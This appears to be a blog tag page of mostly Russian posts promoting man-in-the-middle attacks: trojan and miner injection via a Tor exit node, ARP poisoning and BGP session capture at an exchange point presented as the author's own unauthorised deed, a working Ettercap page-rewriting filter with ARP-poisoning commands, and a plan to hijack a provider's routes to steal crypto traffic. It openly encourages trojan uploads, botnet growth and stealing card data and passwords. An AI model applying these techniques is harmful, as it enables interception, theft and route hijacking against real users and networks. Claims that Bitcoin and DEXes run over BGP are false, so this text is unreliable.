Tag: WireShark

  • Активный перехват трафика сети tor

    Активный перехват трафика сети tor

    Скажу пару слов о концепции активной системы. До настоящего времени в сети витала идея перехвата проходящих данных через узлы tor. В этом случае система имеет пассивную концепцию сбора информации, и её оператор вынужден довольствоваться теми данными, которые попадут в их “сети”. Однако, о внутренних ресурсах сети tor можно получить куда больше информации, если для её сбора использовать концепцию активной системы мониторинга.

    Обязательным условием для нормального обмена информацией с внешними интернет-ресурсами через exit node является наличие ответа от веб-сервера, который моя выходная нода должна в обязательном порядке доставить до tor-абонента. В противном случае, если через ноду идут только запросы к веб-серверам, остающиеся без ответа, можно понять, что имеет место чья-то DDoS атака.

    MiTM или активный мониторинг сети tor с использованием tshark

    Основная суть активной системы заключается в возможности организации MiTM-атаки: я могу перенаправлять пользователя на подконтрольный мне веб-ресурс или добавлять свой код в содержимое ответа с помощью фильтров Ettercap NG с целью спровоцировать утечку какой-либо ценной информации с компьютера клиента, в том числе произвести загрузку троянской программы или установить скрытый майнер.

    Тема деанонимизации пользователя и описание её техник требуют отдельного времени, но можно сделать вывод, что ряд её техник могут помочь в получении информации об актуальных ресурсах. Задача нетривиальная, и подойти к её решению можно разными способами. В данном случае всё зависит от фантазии владельца exit node. Например, можно использовать техники социальной инженерии и спровоцировать (от имени администратора запрашиваемого ресурса) пользователя сети tor отправить какую-либо информацию о себе и посещённых ресурсах. В качестве альтернативного средства можно попытаться загрузить на компьютер пользователя сети tor какую-либо “полезную нагрузку”, например ZeUS, CarberP или Meterpreter.

    Традиционные веб-технологии также могут помочь в решении данной задачи. Например, cookies, которые владельцы веб-сайтов используют для получения статической информации о посетителях. Необходимо отметить, что cookies обладают ограниченным временем жизни и, кроме того, пользователь может удалить их в любой момент. По этой причине разработчики идут на различные уловки, чтобы повысить время жизни и объём информации, хранимой в cookie-файлах.

    Одним из способов является использования хранилища Flash, в таком случае информация хранится в LSO-файлах (local shared objects), которые схожи с cookie-файлами и тоже хранятся локально на компьютере пользователя. Кроме того, существует ещё более мощный инструмент для работы с cookies – JavaScript-библиотека evercookie. Данная библиотека предоставляет возможность создавать трудноудаляемые cookies путём использования одновременно обычных HTTP-cookie, LSO-файлов и HTML5.

    И как ты понял, всю эту информацию можно извлечь активной системой мониторинга сети tor.

  • Ettercap 0.7.3 для Windows используем в дата-центре

    Ettercap 0.7.3 для Windows используем в дата-центре

    Ettercap NG – сетевой sniffer /interceptor/ logger для коммутируемых сетей (switched LAN). Программа использует ARP poisoning и “man-in-the-middle” методы нападения, чтобы перехватывать подключения между двумя хостами в реальном времени. Вы можете перехватить трафик между двумя хостами в сети интернет, используя MAC-based sniffing mode. Позволяет перехватывать SSH1, HTTPS и другие защищенные протоколы. В последнее время часто используется для реализации сценариев bgp hijacking & traffic engineering при MiTM сценариях с майнинговыми пулами, воздействуя на механизмы глобальной маршрутизации трафика.

    Позволяет расшифровывать пароли для следующих протоколов – TELNET, FTP, POP, RLOGIN, SSH1, ICQ, SMB, MySQL, HTTP, NNTP, X11, NAPSTER, IRC, RIP, BGP, SOCKS 5, IMAP 4, VNC, LDAP, NFS, SNMP, HALF LIFE, QUAKE 3, MSN, YMSG или как это говорят на профильных площадках «Сетевой инженер шатает bgp».

    Перехват трафика Ettercap NG и как это работает?

    Ettercap NG умеет подменять MAC-адрес шлюза на свой собственный в ARP-таблице целевого устройства. В результате, весь трафик, предназначенный для шлюза, направляется на атакующий компьютер:

    ARP spoofing и захват bgp-сессии на точке обмена трафиком

    Более подробно это выглядит так:

    •  Ettercap NG отправляет поддельные ARP-пакеты, утверждая, что он является шлюзом.
    •  Целевое устройство обновляет свою ARP-таблицу и начинает отправлять весь трафик на машину с Ettercap NG.
    •  Ettercap NG перехватывает этот трафик и может его анализировать, модифицировать или перенаправлять.

    Как вариант Ettercap NG может устанавливать себя в качестве промежуточного устройства между клиентом и сервером. Весь трафик, проходящий через это соединение, проходит через Ettercap NG.

    • Ettercap NG перехватывает соединение между клиентом и сервером.
    • Модифицирует пакеты таким образом, чтобы клиент и сервер думали, что общаются напрямую.
    • Ettercap NG может дешифровать и шифровать трафик, а также изменять его содержимое.

    Как работать с Ettercap NG на точке обмена трафиком

    Если запускать Ettercap NG в домашней сети – толку от этого будет мало, можно увидеть свой трафик и больше ничего. Так как же посмотреть вширь и увидеть нечто большее? На днях довелось мне поработать на одной из точек обмена трафиком, через которую крупные и малые провайдеры интернета и магистральные операторы связи бесплатно обмениваются трафиком друг с другом. Дело всё в том, что в таких точках пиринга оборудование каждого участника подключается в общий коммутатор, хотя обмен маршрутами происходит посредством bgp через route-сервер, как правило под управлением Bird или FRR, ранее этот софт назывался Quagga или Zebra кому как удобнее. Но включены то они все в один управляемый свич, а значит тут возможны варианты:

    – <a> или ARP poisoning based sniffing, применяется для прослушивания трафика в коммутируемых локальных сетях второго уровня, а также для применения bgp spoofing сценариев класса mitm. В данном случае я использовал сценарий arpoison, который модифицирует ARP-таблицы целевых маршрутизаторов, подключенных к точке обмена трафиком таким образом, что все кадры данных с выбранного source шли на мой ноут с Ettercap NG, а с этого ноута уже – на destination в пункт назначения на bgp-роутер участника точки обмена трафиком, как показано на рисунке. 

    Иными словами, с помощью этого метода прослушивания трафика я проанализировал трафик выбранных мной участников точки обмена Internet Exchange Point, в том числе выходящий за пределы главного коммутатора этого peering point. На основе этого метода, уже с версии 0.6.7 Ettercap NG реализован перехват (dissection) паролей протокола https. У меня получилось даже собрать пароли ssh версии 2, когда я подключил соответствующий фильтр ettercap -F etter.filter.ssh, который подменяет версию ssh-сервера с 1.99 (openssh-0.9.6, etc) на 1.51, поддерживающую только первую версию протокола ssh.

    Однако, для реализации сценария arpoison, ettercap’у необходимо зафлудить сеть целой пачкой сгенерированных ARP-пакетов, но на современных управляемых коммутаторах уже есть средства, отлавливающие этот сценарий. С первой попытки сделать ARP-poison на коммутаторе точки обмена трафиком у меня не получилось, но со второй попытки, когда я добавил ложный IP-адрес, всё прекрасно сработало.

    – <s>, IP based sniffing и <m>, MAC based sniffing – это варианты обычного пассивного прослушивания трафика локальной сети. Возможности такого перехвата пакетов очень ограничены, хотя меня впечатлило количество поддерживаемых протоколов при относительно небольшом размере программы.

    Напихав нужные адреса ASBR роутеров, подключенных к точке обмена трафиком в source, destination или в оба сразу (я выбрал 192.168.0.10 в качестве source), выбирав метод прослушивания сети (я выбрал <a>), и попал в соответствующее окно:

    использование Ettercap NG 0.7.4 на точке обмена трафиком Internet Exchange Point (IXP)

    И вот тут я и увидел все интересующие меня соединения, в том числе bgp-сессии, установленные между ASBP роутерами участников обмена трафиком и route-сервером площадки.

    Для того, чтобы собрать пакеты с обновлениями bgp, делать не нужно вообще ничего =)) Наведя курсор на нужное мне соединение все данные bgp-сессии появлялись в нужной части экрана, и я сразу получил всё, что мне нужно =))

    найден bgp update packet

    Нажав на другую кнопку мне сразу открылся новый диапазон возможностей, уверен, он и тебя впечатлит. Убийство соединений, хайджекинг, филтеринг, etc… Что ещё нужно для перехвата bgp-сессии и реализации MiTM сценария через route leaking? =)

    На видео более подробно поговорим о traffic engineering и утечках маршрутов (route leaking) и к чему вообще всё это….



    Вкусности Route Leaks & Traffic Engineering

    Возможности программы Ettercap ng огромны, но я почти уверен, что они тебя не удовлетворят на все 100%. Ну что же, для твоих трафик-нижениринговых целей предусмотрены варианты в виде:

    • Написания плагинов, – ну тут все просто и понятно: не влезая в кишки ettercap’a, юзаешь плагинный интерфейс этой проги и делаешь нужный тебе компонент, который ты сможешь подгружать в программу всякий раз, когда тебе это нужно.
    • Возможность bind’ить локальный порт, с которым ettercap проассоциирует нужное тебе соединение, например по 179 порту. Это очень ценное свойство программы: ты сможешь заранее реализовать нужные тебе механизмы, воспроизвести которые в реальном времени обычными средствами весьма затруднительно =)) Проще говоря, влезать в чужие IRC-приваты и материться можно и руками, но если ты захочешь впарить кому-нибудь бекдор, проспуфив http или ftp, или сообщить какому-нибудь биржевому игроку, что его акции упали в цене в четыре раза, или же подменить некий криптомост, где плавают жирные киты на время своим мостом с нужными тебе смартконтрактами, такое свойство программы может оказаться весьма и весьма кстати =))

    Хочется отметить, что вот так запросто подключиться в Ethernet или SFP порт коммутатора мне удалось только на точке обмена трафиком (Internet Exchange Point), однако, в реальной жизни на узле того или другого крупного телекоммуникационного оператора все соединения, как правило, упакованы в VPLS/EPIPE/EVPN каналы, и добраться до них новичку с первого раза будет не так то просто, но об этом мы поговорим уже в следующий раз.

    Ettercap NG 0.7.3 скачать

  • Ettercap NG is a MiTM tool for intercepting and modifying traffic

    Ettercap NG is a MiTM tool for intercepting and modifying traffic

    Ettercap NG is an open-source comprehensive suite for man in the middle attacks and can be compiled on Linux, BSD, Mac OS X and Windows XP/10/11 and can work on wireless 802.11 and wired LANs. Ettercap NG has the ability to route traffic though itself using “Man in the Middle” attacks and then use filters to modify the data before sending it on to the Level3 or AT&T customers.

    Ettercap NG can be extended by using filters and plug-ins, making it able to do all sorts of neat network tasks. Using filters is what the NSA and GCQH do with Ettercap NG. The easiest way to use Ettercap NG is on Windows 11 machine. The NSA and GCHQ prefer to use the Ettercap NG-0.7.3.

    In this case I will show you how to compromise someone’s PC or mobile phone and have the images on web pages replaced by the Jolly Rogers.

    live mitm traffic modification on the wire

    Please feel free to use the skills learned from this paper to do many other useful tasks like on-line cryptocurrency exchange trojan uploads and botnet enlargement. The first thing you need to do is create an Ettercap NG filter. The sample source code below:

    ######################################################################
    #                                                                          #
    #  Jolly Pwned -- ig.filter -- filter source file                          #
    #                                                                          #
    #  By Irongeek. based on code from ALoR & NaGA                             #
    #  Along with some help from Kev and jon.dmml                              #
    #  http://ettercap.sourceforge.net/forum/viewtopic.php?t=2833              #
    #                                                                          #
    #  This program is free software, you can redistribute it    
    #  and/or modify it under the terms of the GNU
    #  General Public License as published by    
    #  the Free Software Foundation, 
    #  either version 2 of the License, or
    #  (at your option) any later version.                                     #
    #                                                                          #
    ######################################################################
    
    if (ip.proto == TCP && tcp.dst == 80) {
       if (search(DATA.data, "Accept-Encoding")) {
          replace("Accept-Encoding", "Accept-Rubbish!"); 
       # note: replacement string is same length as original string
          msg("zapped Accept-Encoding!n");
       }
    }
    if (ip.proto == TCP && tcp.src == 80) {
       replace("img src=", "img src="http://www.irongeek.com/images/jollypwn.png" ");
       replace("IMG SRC=", "img src="http://www.irongeek.com/images/jollypwn.png" ");
       msg("Filter Ran.n");
    }

    The code should be pretty self explanatory to anyone who has done much coding before (it’s very much like C and other languages).

    The # symbols are comments. The “if” statement tells the filter to only work on TCP packet from source port 80, in other words coming from a web server. This test may still miss some images but should get most of them. I’m also not sure about Ettercap’s order of operation with AND (&&) and OR (||) statements but this filter largely seems to work (I tried using parentheses to explicitly specify the order of operation with the Boolean operators, but this gave me compile errors).  

    The “replace” function replaces the first parameter string with the second.  Because of the way this string replacement works it will try to mangle image tags and insert the picture you desire into the web page’s HTML before it returns it to the victim. The tags may end up looking something like the following:

    <img src=”http://www.irongeek.com/images/jollypwn.png” /images/original-image.jpg>

    The original image location will still be in the tag, but most web browsers should see it as a useless parameter. The “msg” function just prints to the screen letting us know that the filter has fired off.

    Now that you sort of understand the basics of the filter lets compile it. Take the ig.filter source code listed above and paste it into a text file, then compile the filter into a .ef file using the following command:

            etterfilter ig.filter -o ig.ef

    As soon as filter is compiled you need to target the hosts you want to ARP poison and run the filter on:

        ettercap -T -q -F ig.ef -M ARP // //

    Be careful with the above command, having all of the traffic on a large network going though one slow computer can really bog down network connections. If you had a specific victim in mind, let’s say a host with the IP 192.168.22.47, you would use this command:

     ettercap -T -q -F ig.ef -M ARP /192.168.22.47/ //

    Here are what the command line option flags do:

    -T tells Ettercap NG to use the text interface, I like this option the best as the more GUI modes are rather confusing.
    -q tells Ettercap NG to be more quiet, in other words less verbose.
    -F tells Ettercap NG to use a filter, in this case ig.ef that you compiled earlier.
    -M tells Ettercap NG the MITM (Man in the Middle) method you want to use, in this case ARP poisoning.

    Once Ettercap NG is running you would get some output something like the following:

    ettercap -T -q -F ig.ef -M ARP /192.168.22.47/ // output:
    XKEYSCORE surveillance

    PRISM surveillance

    This filter does not seem to fire off for all images, it’s a little hit and miss. For more information on things, you can do Ettercap NG filters look at the sample code in the file “etter.filter.examples” that comes along with Ettercap NG.

    On my box this file is located in /usr/share/ettercap/etter.filter.examples. Also check out Kev’s tutorial on Ettercap NG filters. 

  • С чего начинается Traffic Engineering

    С чего начинается Traffic Engineering

    Недавно ко мне обратились грамотные люди с просьбой проконсультировать по теме временного изменения маршрутизации трафика в сети одного очень крупного провайдера интернет Восточной Европы. Парни очень хотели перенаправить трафик ASIC аппаратов на их кастомный майнинговый пул. Кроме этого им ещё очень хотелось временно перенаправить весь трафик по теме крипты на свою площадку. Давайте посмотрим, какие варианты возможны для этого кейса.

    По моему предыдущему опыту перво-наперво стоит провести анализ транзитного сетевого трафика с помощью любого сетевого анализатора в “неразборчивом” режиме работы сетевой карты (promiscuous mode). В качестве сетевого анализатора для подобных целей замечательно подходит WireShark или CommView. Чтобы выполнить этот первоначальный этап, мне обычно хватает и пары часов работы. По прошествии этого времени у меня как правило накапливается достаточно много данных для проведения анализа перехваченного трафика. И в первую очередь при его анализе я обращаю внимание на следующие протоколы:

    • протоколы коммутации (STP, PVST+, CDP, DTP, VTP, и им подобные)
    • протоколы маршрутизации (LDP, BGP, EIGRP, OSPF, IS-IS и другие)
    • протоколы динамической конфигурации узла (DHCP, BOOTP)
    • открытые протоколы (telnet, rlogin и им подобные)

    Что касается открытых протоколов, – вероятность того, что они попадутся мне во время сбора пакетов проходящего мимо трафика в коммутируемой сети, достаточно мала. Однако, если такого трафика много, то в обследуемой сети явно наблюдаются проблемы в настройках сетевого оборудования.

    Во всех остальных случаях у меня присутствует возможность проведения красивых сценариев:

    • классическая MITM (Man in the middle) в случае, когда используется ARP, DHCP, RIP или LSP
    • получение роли корневого узла STP (Root Bridge), что позволяет перехватывать трафик соседних сегментов
    • перевод порта в магистральный режим с помощью DTP (enable trunking), позволяет перехватывать весь трафик своего сегмента сети

    Для реализации этих сценариев взаимодействия с сетевыми протоколами коммутации я обычно использую такой замечательный инструмент как Yersinia.

    В процессе анализа трафика я часто выявляю пролетающие мимо DTP-пакеты (смотри скриншот). Тогда отправка пакета DTP ACCESS/DESIRABLE может позволить мне перевести порт коммутатора в магистральный режим. Дальнейшее развитие этого сценария позволяет мне прослушивать весь Ethernet сегмент этой сети.

    использование Yersinia для реализации mitm сценария

    После тестирования канального уровня я обычно переключаю внимание на третий уровень модели OSI. Дошла очередь и до проведения сценария взаимодействия через ARP-poisoning. Тут все просто, я очень люблю инструмент Ettercap NG, но всё дело в том, что в случае успешной реализации сценария ARP-poisoning в отношении всего доступного сегмента сети может наступить ситуация, когда MiTM компьютер по середине не справится с потоком поступающих данных и, в конечном счете, это может стать причиной отказа в обслуживании целого сегмента сети, что обязательно заметят. Поэтому наиболее правильным будет выбрать единичные цели, например, рабочие места администраторов и/или разработчиков, какие-либо определенные серверы (возможно контроллер домена, СУБД, терминальный сервер, bgp маршрутизатор и другие важные элементы сети).

    Успешно проведенная мною ARP-poisoning позволяет получить в открытом виде пароли к различным информационным ресурсам – СУБД, каталогу домена (при понижении проверки подлинности NTLM), SNMP-community string, bgp пакеты UPDATE, пароли для сетевого оборудования с уровнем доступа level 15 и другие приятные вещи. В менее удачном случае я могу получить хеш-значения от паролей к различным системам, которые нужно будет постараться восстановить по радужным таблицам (rainbow tables), по словарю или методом “в лоб”. Перехваченные пароли могут использоваться где-то ещё на других сайтах в сети интернет, но впоследствии это также необходимо мне подтвердить или опровергнуть.

    Кроме того, мне стоит проанализировать весь перехваченный трафик на присутствие CAV2/CVC2/CVV2/CID/PIN, передаваемых в открытом виде. Для этого обычно пропускаю сохраненный .pcap файл с дампом трафика через NetResident и/или 0x4553-Intercepter. Второй, кстати, замечательно подходит для анализа накопленного трафика в целом.

    Встраивание в уже созданную BGP сессию и реализация bgp hijacking

    Сразу стоит обозначить результат — поменять маршруты движения трафика, но не управлять каким-то bgp роутером через консоль, то есть не проникая в его систему управления от слов совсем и никак, просто модифицировать данные его таблиц маршрутизации.

    Для этого я использую обычная реализацию IP Spoofing + TCP hijacking = BGP Spoofing сценария для того, чтобы перенаправить все общение между двумя bgp роутерами через свой хост, то есть осуществление полного перехвата и фильтрации BGP сессий этих роутеров. Об инструментах, которые позволяют сделать это внутри транзитной сети поговорим немного позже.

    Реализация BGP spoofing сценария через консоль роутера

    После того, как был получен доступ к bgp роутеру, конечный результат реализации сценария bgp hijacking будет зависеть от настроек его bgp соседей. Есть вероятность, что этому bgp роутеру доверяют все его bgp соседи, а им — их bgp соседи и так далее, так можно незаметно поменять пути маршрутизации и сделать bgp обход целых сетевых сегментов, манипулируя при этом огромными объемами сетевого трафика в Интернет. 

    А возможно, что через этот bgp роутер можно будет изменить пути только в сети, в которой он сам и находиться или в автономной системе этого bgp роутера, но и это на самом деле не такой уж и плохой результат, даже если сеть или Автономная Система небольшие.

    Для начала надо определить, из каких AS у нас наиболее вероятен перехват трафика, а это, как правило, соседние AS относительно той, в которой находиться BGP-роутер. Принадлежность определенного IP к AS и соседи определенной AS могут быть получены различными сервисами, например, тот же bgp.tools либо простым выполнением команды show ip bgp neighbors на роутере. 

    Еще есть интересные сервисы, такие как asnmap.com или bgplay от RIPE. Интерфейс BGP роутера — консоль с ограниченными, определенными командами для управления и конфигурирования текущего BGP демона или устройства и некоторых прилагающихся сетевых сервисов. То есть попав на этот интерфейс можно в реальном времени без каких-либо перезапусков и перезагрузок менять конфигурацию bgp процесса или всего устройства, хотя если попасть в файловую систему роутера, то можно и поменять конфигурацию с его перезапуском.

    Какой сценарий выбрать для понимания bgp в крипте?

    Эксплуатация уязвимостей протокола BGP в контексте криптовалют и блокчейнов – это довольно специфическая область, которая требует углубленного изучения. Сейчас я расскажу о том, какие сценарии могут быть наиболее востребованы в контексте процессинга крипты.

    В сети блокчейнов первого уровня маршрутизация между нодами использует протокол BGP для установления соединений между ними через Интернет, например, Bitcoin или Ethereum. Новые блоки, содержащие транзакции, также распространяются по сети Интернет при помощи BGP, и оно играет важную роль в синхронизации состояния всего блокчейна. BGP помогает поддерживать согласованность состояния блокчейна между всеми нодами. 

    Децентрализованные биржи (DEX) также осуществляют обмен ордерами при помощи BGP и стабильность его работы влияет на эффективность маршрутизации ордеров между различными DEX. BGP также может помочь в распределении ликвидности по различным пулам. 

    Так какой же сценарий выбрать?

    Выбор конкретного сценария зависит от ваших целей.  Если вы новичок и только начинаете изучать BGP в контексте криптовалют, то лучше начать с простых сценариев, таких как маршрутизация в сети Bitcoin и управление bgp роутером через консоль. Но для этого Вам предстоит сначала найти этот роутер и получить к нему доступ ранее озвученными методами. 

    Если вы уже разрабатываете блокчейн-приложения, то вам будет полезно изучить, как BGP используется для масштабирования и создания децентрализованных сетей. Тажке если вы занимаетесь администрированием блокчейн-инфраструктуры, то вам необходимо понимать, как BGP используется для обеспечения надежности и доступности сети. BGP – это сложный протокол, и его полное понимание требует времени и усилий.

    Начните с простых концепций и постепенно углубляйтесь в более сложные темы. Для воздействия на таблицу маршрутизации bgp роутера без доступа в его консоль вам понадобится специализированное программное обеспечение, например ciag-bgp-tools-1.00.tar.gz или Insinuator (ex loki).

    ARP сканирование с помощью loki

    Хотите более конкретные рекомендации? Расскажите о ваших текущих знаниях и целях мне в личном сообщении, и я смогу подобрать для вас наиболее подходящий сценарий. Какие из этих сценариев вы хотели бы изучить подробнее?